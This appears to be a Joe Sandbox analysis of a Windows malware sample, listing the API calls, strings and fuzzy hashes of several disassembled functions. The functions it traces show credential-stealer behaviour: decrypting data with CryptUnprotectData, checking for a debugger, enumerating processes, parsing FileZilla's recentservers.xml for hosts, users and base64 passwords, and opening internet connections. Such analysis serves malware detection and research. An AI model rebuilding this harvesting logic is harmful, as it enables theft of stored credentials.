Part of subcall function 0006A9B0: lstrlenA.KERNEL32(?,00071110,?,00000000,00070AEF), ref: 0006A9C5
Part of subcall function 0006A9B0: lstrcpy.KERNEL32(00000000), ref: 0006AA04
Part of subcall function 0006A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0006AA12

Part of subcall function 0006A8A0: lstrcpy.KERNEL32(?,00070AEF), ref: 0006A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,\*.*,00070C2E), ref: 0005DE5E
StrCmpCA.SHLWAPI(?,000714C8), ref: 0005DEAE
StrCmpCA.SHLWAPI(?,000714CC), ref: 0005DEC4
FindNextFileA.KERNEL32(000000FF,?), ref: 0005E3E0
FindClose.KERNEL32(000000FF), ref: 0005E3F2

Strings

\*.*, xrefs: 0005DE26

Memory Dump Source

Source File: 00000004.00000002.2121570702.0000000000051000.00000080.00000001.01000000.0000000A.sdmp, Offset: 00050000, based on PE: true

Associated: 00000004.00000002.2121549363.0000000000050000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121590739.000000000006E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121605660.000000000007B000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000101000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000010D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000132000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000029A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121732854.00000000002AC000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_50000_num.jbxd

Yara matches

Similarity

API ID: Findlstrcpy$File$CloseFirstNextlstrcatlstrlen
String ID: \*.*
API String ID: 2325840235-1173974218
Opcode ID: 5940c93e23f48f09a9262d7d83704474ec14ccbe01fe0510dd2cefea802f42ea
Instruction ID: 9fcaf4276dff32a56b629a8dbe07e8591d79ce58a249383a240b00b8403e8e5b
Opcode Fuzzy Hash: 5940c93e23f48f09a9262d7d83704474ec14ccbe01fe0510dd2cefea802f42ea
Instruction Fuzzy Hash: 47F1A1719141189ADB25FB60DC96EEE7379BF15300F5041DAB50A72092EF306F89CF66

Function 0005DA80 Relevance: 13.8, APIs: 9, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0006A740: lstrcpy.KERNEL32(00070AEF,00000000), ref: 0006A788

Part of subcall function 0006A920: lstrcpy.KERNEL32(00000000,?), ref: 0006A972
Part of subcall function 0006A920: lstrcatA.KERNEL32(00000000), ref: 0006A982

Part of subcall function 0006A9B0: lstrlenA.KERNEL32(?,00071110,?,00000000,00070AEF), ref: 0006A9C5
Part of subcall function 0006A9B0: lstrcpy.KERNEL32(00000000), ref: 0006AA04
Part of subcall function 0006A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0006AA12

Part of subcall function 0006A8A0: lstrcpy.KERNEL32(?,00070AEF), ref: 0006A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,000714B0,00070C2A), ref: 0005DAEB
StrCmpCA.SHLWAPI(?,000714B4), ref: 0005DB33
StrCmpCA.SHLWAPI(?,000714B8), ref: 0005DB49
FindNextFileA.KERNEL32(000000FF,?), ref: 0005DDCC
FindClose.KERNEL32(000000FF), ref: 0005DDDE

Memory Dump Source

Source File: 00000004.00000002.2121570702.0000000000051000.00000080.00000001.01000000.0000000A.sdmp, Offset: 00050000, based on PE: true

Associated: 00000004.00000002.2121549363.0000000000050000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121590739.000000000006E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121605660.000000000007B000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000101000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000010D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000132000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000029A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121732854.00000000002AC000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_50000_num.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: 7209a8f13ea8e751543f95074b6222cdddf841e1bc7ffa86f060bc29edc1f406
Instruction ID: ff64300e806b2a544a5be50e3fc2536ed2b3d15386ff08c1d7e2dc4902d11084
Opcode Fuzzy Hash: 7209a8f13ea8e751543f95074b6222cdddf841e1bc7ffa86f060bc29edc1f406
Instruction Fuzzy Hash: EC911772A001049BDB14FF70EC5A9EE737DAB95301F408559F90AA7182EE349B5DCF92

Function 00067B90 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0006A740: lstrcpy.KERNEL32(00070AEF,00000000), ref: 0006A788

GetKeyboardLayoutList.USER32(00000000,00000000,000705AF), ref: 00067BE1
LocalAlloc.KERNEL32(00000040,?), ref: 00067BF9
GetKeyboardLayoutList.USER32(?,00000000), ref: 00067C0D
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00067C62
LocalFree.KERNEL32(00000000), ref: 00067D22

Strings

/ , xrefs: 00067C7F

Memory Dump Source

Source File: 00000004.00000002.2121570702.0000000000051000.00000080.00000001.01000000.0000000A.sdmp, Offset: 00050000, based on PE: true

Associated: 00000004.00000002.2121549363.0000000000050000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121590739.000000000006E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121605660.000000000007B000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000101000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000010D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000132000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000029A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121732854.00000000002AC000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_50000_num.jbxd

Yara matches

Similarity

API ID: KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcpy
String ID: /
API String ID: 3090951853-4001269591
Opcode ID: 8d56c70b857e9e3e9f58377835e4cbbf4a03c4501f0d139715762e49726564a1
Instruction ID: 7fcaf4981242072907c8fd414ccfdd1e208376603e9edc718b1225512b5a1c25
Opcode Fuzzy Hash: 8d56c70b857e9e3e9f58377835e4cbbf4a03c4501f0d139715762e49726564a1
Instruction Fuzzy Hash: 3E415C71940218ABDB24EF94DC99BEEB3B9FF44700F204199E10976181DB342F85CFA1

Function 0005C820 Relevance: 10.6, APIs: 7, Instructions: 93stringencryptionCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0005C853
lstrlenA.KERNEL32(?,00000001,?,00000000,00000000,00000000,00000000,?,00BCD8B8), ref: 0005C871
CryptStringToBinaryA.CRYPT32(?,00000000), ref: 0005C87C
memcpy.MSVCRT(?,?,?), ref: 0005C912
lstrcatA.KERNEL32(?,00070B46), ref: 0005C943
lstrcatA.KERNEL32(?,00070B47), ref: 0005C957
lstrcatA.KERNEL32(?,00070B4E), ref: 0005C978

Memory Dump Source

Source File: 00000004.00000002.2121570702.0000000000051000.00000080.00000001.01000000.0000000A.sdmp, Offset: 00050000, based on PE: true

Associated: 00000004.00000002.2121549363.0000000000050000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121590739.000000000006E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121605660.000000000007B000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000101000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000010D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000132000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000029A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121732854.00000000002AC000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_50000_num.jbxd

Yara matches

Similarity

API ID: lstrcat$BinaryCryptStringlstrlenmemcpymemset
String ID:
API String ID: 1498829745-0
Opcode ID: ce908cceb1617e6d42a47ce8927dd7838ec65514df8a50ada137e3d7c3eb33df
Instruction ID: 2ea936c81088a3119e7d808e12c6435b7d3b5f678030e5b128390c85a317689f
Opcode Fuzzy Hash: ce908cceb1617e6d42a47ce8927dd7838ec65514df8a50ada137e3d7c3eb33df
Instruction Fuzzy Hash: C74138B4D0431ADFDB10DFA4DD89BEEB7B8BB48705F1041A9FA09A6280D7745A84CF91

Function 0006B33A Relevance: 7.6, APIs: 5, Instructions: 58COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 0006BBA2
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0006BBB7
UnhandledExceptionFilter.KERNEL32(0006F2A8), ref: 0006BBC2
GetCurrentProcess.KERNEL32(C0000409), ref: 0006BBDE
TerminateProcess.KERNEL32(00000000), ref: 0006BBE5

Memory Dump Source

Source File: 00000004.00000002.2121570702.0000000000051000.00000080.00000001.01000000.0000000A.sdmp, Offset: 00050000, based on PE: true

Associated: 00000004.00000002.2121549363.0000000000050000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121590739.000000000006E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121605660.000000000007B000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000101000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000010D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000132000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000029A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121732854.00000000002AC000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_50000_num.jbxd

Yara matches

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: 8dc5f39437db62073f3245471894b8a7c896c16dd0015bfc62e2d10bea75cde3
Instruction ID: 84dfc703ef73a169ceab79b3d89bfccadadc5d29d70c75d1d6a63999fed5b59a
Opcode Fuzzy Hash: 8dc5f39437db62073f3245471894b8a7c896c16dd0015bfc62e2d10bea75cde3
Instruction Fuzzy Hash: 4221ACB89013449FF700DF6DFE89A943BE5BB08311F50442EE909972A1EBBD5981CF45

Function 00057240 Relevance: 7.5, APIs: 5, Instructions: 48memoryencryptionCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,00000400,?,?,?,?,?,00057C90,80000001,000661C4,?,?,?,?,?,00057C90), ref: 0005724D
HeapAlloc.KERNEL32(00000000,?,?,?,?,?,00057C90,80000001,000661C4,?,?,?,?,?,00057C90,?), ref: 00057254
CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000001,?), ref: 00057281
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,?,00000400,00000000,00000000,?,?,?,?,?,00057C90,80000001,000661C4), ref: 000572A4
LocalFree.KERNEL32(?,?,?,?,?,?,00057C90,80000001,000661C4,?,?,?,?,?,00057C90,?), ref: 000572AE

Memory Dump Source

Source File: 00000004.00000002.2121570702.0000000000051000.00000080.00000001.01000000.0000000A.sdmp, Offset: 00050000, based on PE: true

Associated: 00000004.00000002.2121549363.0000000000050000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121590739.000000000006E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121605660.000000000007B000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000101000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000010D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000132000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000029A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121732854.00000000002AC000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_50000_num.jbxd

Yara matches

Similarity

API ID: Heap$AllocByteCharCryptDataFreeLocalMultiProcessUnprotectWide
String ID:
API String ID: 3657800372-0
Opcode ID: aea0ad936439bb59908cf5dc6a23814dcaf2cc9ac5e76f050674a6ed27345720
Instruction ID: 1e1a14341db0e7495f30cc34520668bc4b4235ac7980ae929f508fd4a420cf9c
Opcode Fuzzy Hash: aea0ad936439bb59908cf5dc6a23814dcaf2cc9ac5e76f050674a6ed27345720
Instruction Fuzzy Hash: BA011275A40308BBEB10DFD4DD4AF9E77B8FB44701F104155FB09AB2C0D670AA008BA5

Function 00069600 Relevance: 7.5, APIs: 5, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 0006961E
Process32First.KERNEL32(00070ACA,00000128), ref: 00069632
Process32Next.KERNEL32(00070ACA,00000128), ref: 00069647
StrCmpCA.SHLWAPI(?,00000000), ref: 0006965C
CloseHandle.KERNEL32(00070ACA), ref: 0006967A

Memory Dump Source

Source File: 00000004.00000002.2121570702.0000000000051000.00000080.00000001.01000000.0000000A.sdmp, Offset: 00050000, based on PE: true

Associated: 00000004.00000002.2121549363.0000000000050000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121590739.000000000006E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121605660.000000000007B000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000101000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000010D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000132000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000029A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121732854.00000000002AC000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_50000_num.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: 5456ce3fc87f381762c4fc315f5245022bea62a4908bebab166a8acc8735276c
Instruction ID: d503ed72f4f844c6fb6bccfd98ddd566abfe08fdf1088f9be2664b90b16f3791
Opcode Fuzzy Hash: 5456ce3fc87f381762c4fc315f5245022bea62a4908bebab166a8acc8735276c
Instruction Fuzzy Hash: 580108B5A00308ABCB24DFA5DD49BEDBBF9FB48300F104189B90AA7240DB749B40CF91

Function 00068EA0 Relevance: 6.1, APIs: 4, Instructions: 58encryptionCOMMON

Download Yara Rule

APIs

CryptBinaryToStringA.CRYPT32(00000000,00055184,40000001,00000000,00000000,?,00055184), ref: 00068EC0

Memory Dump Source

Source File: 00000004.00000002.2121570702.0000000000051000.00000080.00000001.01000000.0000000A.sdmp, Offset: 00050000, based on PE: true

Associated: 00000004.00000002.2121549363.0000000000050000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121590739.000000000006E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121605660.000000000007B000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000101000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000010D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000132000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000029A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121732854.00000000002AC000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_50000_num.jbxd

Yara matches

Similarity

API ID: BinaryCryptString
String ID:
API String ID: 80407269-0
Opcode ID: 7fc6d0f507ac17c8e138d6da4a62e395b90bab262d0e8df31f5783f1582cb3db
Instruction ID: 680b4071f460ae0e795102e175779d8792c25915cbae38c0e5c7701fcd52fa3a
Opcode Fuzzy Hash: 7fc6d0f507ac17c8e138d6da4a62e395b90bab262d0e8df31f5783f1582cb3db
Instruction Fuzzy Hash: BD111874200208BFDF50CFA4E889FAB33AAAF89300F10D658F9198B250DB35ED41DB60

Function 00059AC0 Relevance: 6.1, APIs: 4, Instructions: 55encryptionmemoryCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00054EEE,00000000,00000000), ref: 00059AEF
LocalAlloc.KERNEL32(00000040,?,?,?,00054EEE,00000000,?), ref: 00059B01
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00054EEE,00000000,00000000), ref: 00059B2A
LocalFree.KERNEL32(?,?,?,?,00054EEE,00000000,?), ref: 00059B3F

Memory Dump Source

Source File: 00000004.00000002.2121570702.0000000000051000.00000080.00000001.01000000.0000000A.sdmp, Offset: 00050000, based on PE: true

Associated: 00000004.00000002.2121549363.0000000000050000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121590739.000000000006E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121605660.000000000007B000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000101000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000010D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000132000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000029A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121732854.00000000002AC000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_50000_num.jbxd

Yara matches

Similarity

API ID: BinaryCryptLocalString$AllocFree
String ID:
API String ID: 4291131564-0
Opcode ID: 59f4606a47a82068467ccc76ce7abbb51cf363348861d6d3078f3f171f148716
Instruction ID: 26b5ea6d3b33fe371b3a125042f851ff78661a3a8776011a98ee6452ad3a2062
Opcode Fuzzy Hash: 59f4606a47a82068467ccc76ce7abbb51cf363348861d6d3078f3f171f148716
Instruction Fuzzy Hash: 53119FB4240308EFEB10CF64D899FAA77A5FB89701F208059FD199B290C7B6A901CB90

Function 00059B60 Relevance: 6.0, APIs: 4, Instructions: 50memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00059B84
LocalAlloc.KERNEL32(00000040,00000000), ref: 00059BA3
memcpy.MSVCRT(?,?,?), ref: 00059BC6
LocalFree.KERNEL32(?), ref: 00059BD3

Memory Dump Source

Source File: 00000004.00000002.2121570702.0000000000051000.00000080.00000001.01000000.0000000A.sdmp, Offset: 00050000, based on PE: true

Associated: 00000004.00000002.2121549363.0000000000050000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121590739.000000000006E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121605660.000000000007B000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000101000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000010D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000132000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000029A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121732854.00000000002AC000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_50000_num.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotectmemcpy
String ID:
API String ID: 3243516280-0
Opcode ID: 19b1917deab9c85994b7c291c2cc1a0a7a16694852b2805b01e005059ff2322f
Instruction ID: a31f92461c619c74231352153e902ab0c24d3ae778a9985a1334ef443d6a3017
Opcode Fuzzy Hash: 19b1917deab9c85994b7c291c2cc1a0a7a16694852b2805b01e005059ff2322f
Instruction Fuzzy Hash: FD11E5B8A00209EFDB04DF98D989AAEB7B5FF88300F104599ED15A7350D774AE50CFA1

Function 00060250 Relevance: 73.9, APIs: 32, Strings: 10, Instructions: 363stringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0006A740: lstrcpy.KERNEL32(00070AEF,00000000), ref: 0006A788

Part of subcall function 00068DE0: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 00068E0B

Part of subcall function 0006A920: lstrcpy.KERNEL32(00000000,?), ref: 0006A972
Part of subcall function 0006A920: lstrcatA.KERNEL32(00000000), ref: 0006A982

Part of subcall function 0006A8A0: lstrcpy.KERNEL32(?,00070AEF), ref: 0006A905

Part of subcall function 0006A9B0: lstrlenA.KERNEL32(?,00071110,?,00000000,00070AEF), ref: 0006A9C5
Part of subcall function 0006A9B0: lstrcpy.KERNEL32(00000000), ref: 0006AA04
Part of subcall function 0006A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0006AA12

Part of subcall function 0006A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0006A7E6

Part of subcall function 000599C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 000599EC
Part of subcall function 000599C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00059A11
Part of subcall function 000599C0: LocalAlloc.KERNEL32(00000040,?), ref: 00059A31
Part of subcall function 000599C0: ReadFile.KERNEL32(000000FF,?,00000000,000602E7,00000000), ref: 00059A5A
Part of subcall function 000599C0: LocalFree.KERNEL32(000602E7), ref: 00059A90
Part of subcall function 000599C0: CloseHandle.KERNEL32(000000FF), ref: 00059A9A

Part of subcall function 00068E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00068E52

strtok_s.MSVCRT ref: 0006031B
GetProcessHeap.KERNEL32(00000000,000F423F,00070DBA,00070DB7,00070DB6,00070DB3), ref: 00060362
HeapAlloc.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00070DB2), ref: 00060369
StrStrA.SHLWAPI(00000000,<Host>), ref: 00060385
lstrlenA.KERNEL32(00000000), ref: 00060393

Part of subcall function 000688E0: malloc.MSVCRT ref: 000688E8
Part of subcall function 000688E0: strncpy.MSVCRT ref: 00068903

StrStrA.SHLWAPI(00000000,<Port>), ref: 000603CF
lstrlenA.KERNEL32(00000000), ref: 000603DD
StrStrA.SHLWAPI(00000000,<User>), ref: 00060419
lstrlenA.KERNEL32(00000000), ref: 00060427
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 00060463
lstrlenA.KERNEL32(00000000), ref: 00060475
lstrlenA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00070DB2), ref: 00060502
lstrlenA.KERNEL32(00000000,?,?,00000000), ref: 0006051A
lstrlenA.KERNEL32(00000000,?,?,00000000), ref: 00060532
lstrlenA.KERNEL32(00000000,?,?,00000000), ref: 0006054A
lstrcatA.KERNEL32(?,browser: FileZilla,?,?,00000000), ref: 00060562
lstrcatA.KERNEL32(?,profile: null,?,?,00000000), ref: 00060571
lstrcatA.KERNEL32(?,url: ,?,?,00000000), ref: 00060580
lstrcatA.KERNEL32(?,00000000,?,?,00000000), ref: 00060593
lstrcatA.KERNEL32(?,00071678,?,?,00000000), ref: 000605A2
lstrcatA.KERNEL32(?,00000000,?,?,00000000), ref: 000605B5
lstrcatA.KERNEL32(?,0007167C,?,?,00000000), ref: 000605C4
lstrcatA.KERNEL32(?,login: ,?,?,00000000), ref: 000605D3
lstrcatA.KERNEL32(?,00000000,?,?,00000000), ref: 000605E6
lstrcatA.KERNEL32(?,00071688,?,?,00000000), ref: 000605F5
lstrcatA.KERNEL32(?,password: ,?,?,00000000), ref: 00060604
lstrcatA.KERNEL32(?,00000000,?,?,00000000), ref: 00060617
lstrcatA.KERNEL32(?,00071698,?,?,00000000), ref: 00060626
lstrcatA.KERNEL32(?,0007169C,?,?,00000000), ref: 00060635
strtok_s.MSVCRT ref: 00060679
lstrlenA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00070DB2), ref: 0006068E
memset.MSVCRT ref: 000606DD

Strings

\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 000602A4
<User>, xrefs: 00060410
<Host>, xrefs: 0006037C
<Port>, xrefs: 000603C6
url: , xrefs: 00060577
browser: FileZilla, xrefs: 00060559
password: , xrefs: 000605FB
<Pass encoding="base64">, xrefs: 0006045A
profile: null, xrefs: 00060568
login: , xrefs: 000605CA

Memory Dump Source

Source File: 00000004.00000002.2121570702.0000000000051000.00000080.00000001.01000000.0000000A.sdmp, Offset: 00050000, based on PE: true

Associated: 00000004.00000002.2121549363.0000000000050000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121590739.000000000006E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121605660.000000000007B000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000101000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000010D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000132000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000029A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121732854.00000000002AC000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_50000_num.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrlen$lstrcpy$AllocFileLocal$Heapstrtok_s$CloseCreateFolderFreeHandlePathProcessReadSizemallocmemsetstrncpy
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
API String ID: 337689325-555421843
Opcode ID: 37828a58fcd48229c21e9bc465733c21e4b72872c65907d083005c9de308ac70
Instruction ID: 2c4cea0ac9b51a89411f6bf835116ceeb6b83d6fadceedf953523029465de532
Opcode Fuzzy Hash: 37828a58fcd48229c21e9bc465733c21e4b72872c65907d083005c9de308ac70
Instruction Fuzzy Hash: 02D10E71A102089BCB04FBE4DD9AEEE7379BF15300F508519F106B7092DE74AA09CF66

Function 00055960 Relevance: 42.5, APIs: 19, Strings: 5, Instructions: 493networkstringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0006A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0006A7E6

Part of subcall function 000547B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 000547EA
Part of subcall function 000547B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00054801
Part of subcall function 000547B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00054818
Part of subcall function 000547B0: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00054839
Part of subcall function 000547B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00054849

Part of subcall function 0006A740: lstrcpy.KERNEL32(00070AEF,00000000), ref: 0006A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 000559F8
StrCmpCA.SHLWAPI(?,00BCDB78), ref: 00055A13
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00055B93
lstrlenA.KERNEL32(00000000,00000000,?,00000000,00000000,?,",00000000,?,00BD22A8,00000000,?,00BC4760,00000000,?,00071A1C), ref: 00055E71
lstrlenA.KERNEL32(00000000), ref: 00055E82
GetProcessHeap.KERNEL32(00000000,?), ref: 00055E93
HeapAlloc.KERNEL32(00000000), ref: 00055E9A
lstrlenA.KERNEL32(00000000), ref: 00055EAF
memcpy.MSVCRT(?,00000000,00000000), ref: 00055EC6
lstrlenA.KERNEL32(00000000), ref: 00055ED8
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 00055EF1
memcpy.MSVCRT(?), ref: 00055EFE
lstrlenA.KERNEL32(00000000,?,?), ref: 00055F1B
